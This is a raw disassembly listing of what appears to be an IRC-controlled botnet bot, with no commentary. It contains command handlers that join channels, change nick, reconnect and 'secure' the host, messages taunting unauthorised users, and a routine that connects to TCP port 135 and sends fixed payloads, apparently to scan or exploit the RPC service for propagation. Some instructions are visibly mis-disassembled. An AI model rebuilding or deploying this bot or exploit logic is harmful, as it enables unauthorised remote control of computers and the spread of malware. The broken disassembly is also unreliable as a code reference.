		cmp	eax, edi
		jnb	short loc_41209D
		cmp	edi, 0FFFFFFFFh
		jnz	loc_412974


loc_41209D:				; CODE XREF: seg000:00412092j
		push	ebx
		call	sub_40A996
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_433884
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		jmp	loc_410162
; ---------------------------------------------------------------------------


loc_4120DF:				; CODE XREF: seg000:0040E38Fj
					; seg000:0040E3A4j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4085B7
		lea	eax, [ebp-2C8h]
		push	offset unk_433850
		push	eax
		call	sub_4154CD
		add	esp, 14h
		jmp	loc_40ECA7
; ---------------------------------------------------------------------------


loc_412109:				; CODE XREF: seg000:0040E365j
					; seg000:0040E37Aj
		push	1Eh
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_412132
		cmp	[ebp-8], ebx
		jnz	loc_40D1FD
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_43381C
		push	dword ptr [ebp-8Ch]
		jmp	loc_40D75B
; ---------------------------------------------------------------------------


loc_412132:				; CODE XREF: seg000:00412113j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		mov	[ebp-458h], ebx
		jz	short loc_412193
		push	esi
		push	offset aFull	; "full"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412193
		mov	dword ptr [ebp-458h], 1


loc_412193:				; CODE XREF: seg000:00412176j
					; seg000:00412187j
		lea	eax, [ebp-2C8h]
		push	offset dword_4337E0
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Eh
		push	eax
		call	sub_414F79
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_413F69
		push	ebx
		push	ebx
		call	near ptr 546705C5h
		inc	ebx
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_412201


loc_4121EB:				; CODE XREF: seg000:004121FFj
		cmp	[ebp-44Ch], ebx
		jnz	loc_412834
		push	32h
		call	ds:dword_421060
		jmp	short loc_4121EB
; ---------------------------------------------------------------------------


loc_412201:				; CODE XREF: seg000:004121E9j
		call	ds:dword_421088
		push	eax
		push	offset dword_433790
		jmp	loc_412825
; ---------------------------------------------------------------------------


loc_412212:				; CODE XREF: seg000:0040E33Bj
					; seg000:0040E350j
		cmp	[ebp-8], ebx
		jnz	short loc_412231
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_433764
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_412231:				; CODE XREF: seg000:00412215j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A400
		call	ds:dword_43A2C8
		call	loc_409DF9
		push	ebx
		call	ds:dword_421114


loc_41224C:				; CODE XREF: seg000:0040E311j
					; seg000:0040E326j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40AAB5
; ---------------------------------------------------------------------------
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	offset dword_433738
		jmp	short loc_4122A4
; ---------------------------------------------------------------------------


loc_412277:				; CODE XREF: seg000:0040E2E7j
					; seg000:0040E2FCj
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_40AD69
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	offset dword_43370C


loc_4122A4:				; CODE XREF: seg000:00411FD9j
					; seg000:00412275j
		call	sub_40B151
		jmp	loc_410F14
; ---------------------------------------------------------------------------


loc_4122AE:				; CODE XREF: seg000:0040E2BDj
					; seg000:0040E2D2j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40B1F1
		jmp	loc_40D1FA
; ---------------------------------------------------------------------------


loc_4122C7:				; CODE XREF: seg000:0040E293j
					; seg000:0040E2A8j
		cmp	[ebp-0Ch], ebx
		mov	[ebp-374h], bl
		jz	short loc_412306
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_412306
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412306
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp-374h]
		push	80h
		push	eax
		call	sub_415A4A
		add	esp, 10h


loc_412306:				; CODE XREF: seg000:004122D0j
					; seg000:004122DBj ...
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-3F4h]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp+0Ch]
		push	offset dword_4336E0
		mov	[ebp-3F8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Ch
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F8h]
		push	ebx
		push	eax
		push	offset sub_40B263
		push	ebx
		push	ebx
		call	near ptr 89F72904h
		sti
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_4123A6


loc_412390:				; CODE XREF: seg000:004123A4j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40D1FD
		push	32h
		call	ds:dword_421060
		jmp	short loc_412390
; ---------------------------------------------------------------------------


loc_4123A6:				; CODE XREF: seg000:0041238Ej
		call	ds:dword_421088
		push	eax
		push	offset dword_433694
		jmp	loc_40D3E6
; ---------------------------------------------------------------------------


loc_4123B7:				; CODE XREF: seg000:0040E269j
					; seg000:0040E27Ej
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40B0D9
		push	offset dword_433668
		call	sub_40B151
		jmp	loc_411F46
; ---------------------------------------------------------------------------


loc_4123D7:				; CODE XREF: seg000:0040E23Fj
					; seg000:0040E254j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jz	short loc_412431
		push	offset dword_433664
		push	esi
		call	sub_4158F0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-458h], eax
		jmp	short loc_412437
; ---------------------------------------------------------------------------


loc_412431:				; CODE XREF: seg000:00412415j
		mov	[ebp-458h], ebx


loc_412437:				; CODE XREF: seg000:0041242Fj
		lea	eax, [ebp-2C8h]
		push	offset dword_433634
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Fh
		push	eax
		call	sub_414F79
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset dword_414FE4
		push	ebx
		push	ebx
		call	near ptr 0C55E593Bh
		std
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_4124A1


loc_41248F:				; CODE XREF: seg000:0041249Fj
		cmp	[ebp-44Ch], ebx
		jnz	short loc_4124BC
		push	32h
		call	ds:dword_421060
		jmp	short loc_41248F
; ---------------------------------------------------------------------------


loc_4124A1:				; CODE XREF: seg000:0041248Dj
		call	ds:dword_421088
		push	eax
		push	offset dword_4335E8


loc_4124AD:				; CODE XREF: seg000:0041135Aj
					; seg000:00411473j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_4124BC:				; CODE XREF: seg000:0040F6FAj
					; seg000:0040F71Cj ...
		lea	eax, [ebp-2C8h]
		push	eax
		jmp	loc_40E4FD
; ---------------------------------------------------------------------------


loc_4124C8:				; CODE XREF: seg000:0040E1C3j
					; seg000:0040E1D8j
		push	offset aIds443v	; "ids443v"
		lea	eax, [ebp-2C8h]
		push	offset dword_4335BC
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 20h
		jmp	loc_40EF8B
; ---------------------------------------------------------------------------


loc_4124FF:				; CODE XREF: seg000:0040E199j
					; seg000:0040E1AEj
		push	ds:dword_4687E8
		call	sub_40A996
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_43357C
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 24h
		jmp	loc_40EF8B
; ---------------------------------------------------------------------------


loc_41253D:				; CODE XREF: seg000:0040E16Fj
					; seg000:0040E184j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_41256F
		cmp	[ebp-0Ch], ebx
		jz	short loc_41257E
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41257E
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		add	esp, 0Ch
		jmp	short loc_41257E
; ---------------------------------------------------------------------------


loc_41256F:				; CODE XREF: seg000:00412546j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		pop	ecx
		pop	ecx


loc_41257E:				; CODE XREF: seg000:0041254Bj
					; seg000:0041255Aj ...
		push	0FFFFFFFEh
		jmp	loc_40D1FF
; ---------------------------------------------------------------------------


loc_412585:				; CODE XREF: seg000:0040E145j
					; seg000:0040E15Aj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	offset dword_433528
		call	sub_40B151
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_4125A7:				; CODE XREF: seg000:0040E11Bj
					; seg000:0040E130j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	offset dword_4334E4
		call	sub_40B151
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_4125C8:				; CODE XREF: seg000:0040E0F1j
					; seg000:0040E106j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_407119
		jmp	loc_410E7D
; ---------------------------------------------------------------------------


loc_4125DE:				; CODE XREF: seg000:0040E04Cj
					; seg000:0040E061j
		push	dword ptr [ebp+esi-90h]
		push	1Eh
		push	offset dword_4334D4
		push	offset dword_4334C8
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_4125F6:				; CODE XREF: seg000:0040E022j
					; seg000:0040E037j
		push	dword ptr [ebp+esi-90h]
		push	1Bh
		push	offset dword_4334BC
		push	offset dword_4334AC
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_41260E:				; CODE XREF: seg000:0040DE4Dj
					; seg000:0040DE62j
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_41262D
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jz	short loc_41262D
		push	edi
		call	sub_415A3F
		pop	ecx
		jmp	short loc_412632
; ---------------------------------------------------------------------------


loc_41262D:				; CODE XREF: seg000:00412617j
					; seg000:00412622j
		mov	eax, ds:dword_42C14C


loc_412632:				; CODE XREF: seg000:0041262Bj
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-464h], eax
		cmp	esi, ebx
		jz	short loc_412657
		push	esi


loc_412644:				; CODE XREF: seg000:00412666j
		lea	eax, [ebp-474h]
		push	10h
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		jmp	short loc_41266E
; ---------------------------------------------------------------------------


loc_412657:				; CODE XREF: seg000:00412641j
		cmp	[ebp-9B3h], bl
		jz	short loc_412668
		lea	eax, [ebp-0C4h]
		push	eax
		jmp	short loc_412644
; ---------------------------------------------------------------------------


loc_412668:				; CODE XREF: seg000:0041265Dj
		mov	[ebp-474h], bl


loc_41266E:				; CODE XREF: seg000:00412655j
		mov	eax, [ebp-4]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-458h], eax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-454h], eax
		lea	eax, [ebp-4F4h]
		push	eax
		mov	[ebp-4F8h], esi
		call	sub_415A4A
		add	esp, 0Ch
		push	dword ptr [ebp-464h]
		push	esi
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_427D24
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	11h
		push	eax
		call	sub_414F79
		add	esp, 1Ch
		mov	[ebp-460h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F8h]
		push	ebx
		push	eax
		push	offset loc_407FEE
		push	ebx
		push	ebx
		call	near ptr 2AB0E753h
		pop	esp
		mov	ecx, [ebp-460h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_41271F


loc_412709:				; CODE XREF: seg000:0041271Dj
		cmp	[ebp-450h], ebx
		jnz	loc_40D1FD
		push	32h
		call	ds:dword_421060
		jmp	short loc_412709
; ---------------------------------------------------------------------------


loc_41271F:				; CODE XREF: seg000:00412707j
		call	ds:dword_421088
		push	eax
		push	offset unk_433460
		jmp	loc_40D3E6
; ---------------------------------------------------------------------------


loc_412730:				; CODE XREF: seg000:0040DDF9j
					; seg000:0040DE0Ej ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412758
		push	edi
		push	offset aSec	; "sec"
		call	sub_4158F0
		pop	ecx
		mov	[ebp-458h], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_412762


loc_412758:				; CODE XREF: seg000:0041273Fj
		mov	dword ptr [ebp-458h], 1


loc_412762:				; CODE XREF: seg000:00412756j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp+0Ch]
		add	esp, 0Ch
		cmp	[ebp-458h], ebx
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4127A9
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_4127A9:				; CODE XREF: seg000:004127A2j
		push	eax
		push	offset dword_433410
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	19h
		push	eax
		call	sub_414F79
		add	esp, 1Ch
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_414640
		push	ebx
		push	ebx
		call	near ptr 0E49665F3h
		pop	ebx
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_412819


loc_412807:				; CODE XREF: seg000:00412817j
		cmp	[ebp-44Ch], ebx
		jnz	short loc_412834
		push	32h
		call	ds:dword_421060
		jmp	short loc_412807
; ---------------------------------------------------------------------------


loc_412819:				; CODE XREF: seg000:00412805j
		call	ds:dword_421088
		push	eax
		push	offset unk_4333C0


loc_412825:				; CODE XREF: seg000:0041156Fj
					; seg000:0041220Dj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_412834:				; CODE XREF: seg000:0040F798j
					; seg000:0040F7BAj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		jmp	loc_40D3EC
; ---------------------------------------------------------------------------


loc_412845:				; CODE XREF: seg000:0040DDCFj
					; seg000:0040DDE4j
		push	offset aEnz9_9b34v ; "enz 9.9b34v"
		push	offset dword_43339C


loc_41284F:				; CODE XREF: seg000:0041130Fj
					; seg000:00411623j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD


loc_41285B:				; CODE XREF: seg000:00411F91j
		add	esp, 0Ch
		jmp	loc_40EF6A
; ---------------------------------------------------------------------------


loc_412863:				; CODE XREF: seg000:0040DDA5j
					; seg000:0040DDBAj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_4128C3
		push	esi
		call	sub_415A3F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4128B8
		cmp	eax, 2
		jge	short loc_4128B8
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4128AD
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4364E8
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40ECA7
; ---------------------------------------------------------------------------


loc_4128AD:				; CODE XREF: seg000:0041288Cj
		push	eax
		push	offset dword_43335C
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_4128B8:				; CODE XREF: seg000:00412877j
					; seg000:0041287Cj
		push	eax
		push	offset dword_43331C
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_4128C3:				; CODE XREF: seg000:0041286Cj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4128C8:				; CODE XREF: seg000:004128E4j
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4128EB
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4128C8
		jmp	loc_40ECA7
; ---------------------------------------------------------------------------


loc_4128EB:				; CODE XREF: seg000:004128D8j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_4364E8
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_412905:				; CODE XREF: seg000:0040DD7Bj
					; seg000:0040DD90j
		push	dword ptr [ebp-90h]
		push	offset dword_436440
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412974
		call	sub_415142
		push	ebx
		call	ds:dword_421114


loc_412927:				; CODE XREF: seg000:0040DD51j
					; seg000:0040DD66j
		push	dword ptr [ebp+esi-90h]
		xor	eax, eax
		cmp	[ebp-9A4h], bl
		setnz	al
		push	eax
		lea	eax, [ebp-564h]
		push	ds:dword_42C16C
		push	eax
		call	sub_414419
		lea	eax, [ebp-564h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		lea	eax, [ebp-564h]
		push	eax
		push	offset dword_4332E4
		call	sub_40B1C5


loc_412971:				; CODE XREF: seg000:0040F913j
		add	esp, 24h


loc_412974:				; CODE XREF: seg000:0040D495j
					; seg000:0040D4A1j ...
		mov	eax, [ebp+2Ch]
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_41297C:				; CODE XREF: seg000:0040D951j
					; seg000:0040D966j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], esi
		jz	loc_40D1FD
		cmp	[ebp-98h], ebx
		jnz	loc_40D1FD
		push	offset dword_42F394
		push	dword ptr [ebp-94h]
		call	sub_416C78
		mov	esi, eax
		push	offset dword_438FA4
		push	ebx
		inc	esi
		call	sub_416C78
		push	offset asc_4332E0 ; "~"
		push	eax
		call	sub_416C78
		push	dword ptr [ebp+8]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_4158F0
		add	esp, 20h
		test	eax, eax
		jz	short loc_412A24
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		push	esi
		push	offset dword_433254


loc_412A10:				; CODE XREF: seg000:00412A80j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 30h
		jmp	loc_40D7DD
; ---------------------------------------------------------------------------


loc_412A24:				; CODE XREF: seg000:004129D7j
		mov	dword ptr [ebp+2Ch], offset off_42C210


loc_412A2B:				; CODE XREF: seg000:00412A47j
		mov	eax, [ebp+2Ch]
		push	edi
		push	dword ptr [eax]
		call	sub_4152D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A82
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], offset off_42C214
		jl	short loc_412A2B
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		push	esi
		push	offset dword_433214
		jmp	short loc_412A10
; ---------------------------------------------------------------------------


loc_412A82:				; CODE XREF: seg000:00412A3Aj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_412A87:				; CODE XREF: seg000:00412AB1j
		cmp	[ebp+8], ebx
		jz	loc_40D1FD
		cmp	[edi], bl
		jnz	short loc_412AA7
		push	dword ptr [ebp+8]
		push	offset aHi	; "hi"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AB8


loc_412AA7:				; CODE XREF: seg000:00412A92j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_412A87
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_412AB8:				; CODE XREF: seg000:00412AA5j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0A94h]
		push	7Fh
		push	eax
		push	esi
		call	sub_416D20
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_412AEF
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_4331E0
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_412AEF:				; CODE XREF: seg000:00412AD3j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_4331AC
		jmp	loc_40D3E6
; ---------------------------------------------------------------------------


loc_412B00:				; CODE XREF: seg000:0040D047j
					; seg000:0040D05Cj
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	offset aXI	; "+x+i"
		push	dword ptr [ebp+18h]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		add	esp, 2Ch
		mov	ds:dword_468968, edi
		jmp	loc_40D0D6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B46	proc near		; CODE XREF: sub_412B7E+125p
					; sub_412B7E+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_412B74


loc_412B57:				; CODE XREF: sub_412B46+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417910
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412B7A
		inc	esi
		cmp	esi, edi
		jl	short loc_412B57


loc_412B74:				; CODE XREF: sub_412B46+Fj
		xor	al, al


loc_412B76:				; CODE XREF: sub_412B46+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_412B7A:				; CODE XREF: sub_412B46+27j
		mov	al, 1
		jmp	short loc_412B76
sub_412B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B7E	proc near		; CODE XREF: seg000:00403456p
					; seg000:0040353Fp

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_415D50
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_412BBF
		dec	eax
		jz	short loc_412B9D
		dec	eax


loc_412B97:				; CODE XREF: sub_412B7E+57j
		xor	eax, eax


loc_412B99:				; CODE XREF: sub_412B7E+3Fj
					; sub_412B7E+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_412B9D:				; CODE XREF: sub_412B7E+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	ds:dword_43A3A8
		push	eax
		call	sub_4076D2
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_412B99
; ---------------------------------------------------------------------------


loc_412BBF:				; CODE XREF: sub_412B7E+13j
		push	6
		push	1
		push	2
		call	ds:dword_43A3E8
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_412B97
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	ds:dword_43A368
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A03F
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A310
		cmp	eax, edi
		jz	loc_412CDB
		push	ebx
		push	48h
		push	offset dword_436560
		push	esi
		call	ds:dword_43A3B8
		cmp	eax, edi
		jz	loc_412CDB
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43A380
		cmp	eax, edi
		jz	loc_412CDB
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_412CDB
		push	ebx
		push	18h
		push	offset dword_4365AC
		push	[ebp+arg_4]
		call	ds:dword_43A3B8
		cmp	eax, edi
		jz	short loc_412CDB
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43A380
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_412CDB
		cmp	[ebp+var_200E],	2
		jnz	short loc_412CDB
		push	10h
		push	offset loc_4365C8
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B46
		add	esp, 10h
		test	al, al
		jz	short loc_412CBB
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_412CDB
; ---------------------------------------------------------------------------


loc_412CBB:				; CODE XREF: sub_412B7E+12Fj
		push	10h
		push	offset dword_4365DC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B46
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_412CDB:				; CODE XREF: sub_412B7E+9Bj
					; sub_412B7E+B2j ...
